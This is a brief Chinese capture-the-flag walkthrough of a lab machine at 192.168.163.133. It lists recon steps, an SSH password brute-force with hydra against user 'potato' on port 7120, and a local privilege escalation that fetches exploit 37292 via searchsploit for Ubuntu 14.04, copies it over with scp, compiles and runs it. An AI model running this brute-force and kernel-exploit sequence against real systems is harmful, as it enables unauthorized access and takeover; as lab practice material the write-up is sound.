1. 信息搜集
扫描发现主机 192.168.163.133
扫描端口
访问80端口，未发现有效信息，目录扫描发现 /info.php
whatweb 未发现信息
2. SSH爆破
1
hydra -l potato -P 字典2/字典.txt -vV ssh://192.168.163.133:7120
1
ssh -p 7120 potato@192.168.163.133
3. 提权
进入目标机后，尝试sudo, find 提权失败，查看系统信息
1
2
cat /etc/issue
uname -a
搜索相关漏洞
1
searchsploit ubuntu 14.04
1
2
3
4
# 复制文件
searchsploit -m 37292
# 传输到目标机
scp -P 7120 37292.c potato@192.168.163.133:~
在目标机上编译并执行
1
2
gcc 37292.c
./a.out
找到flag
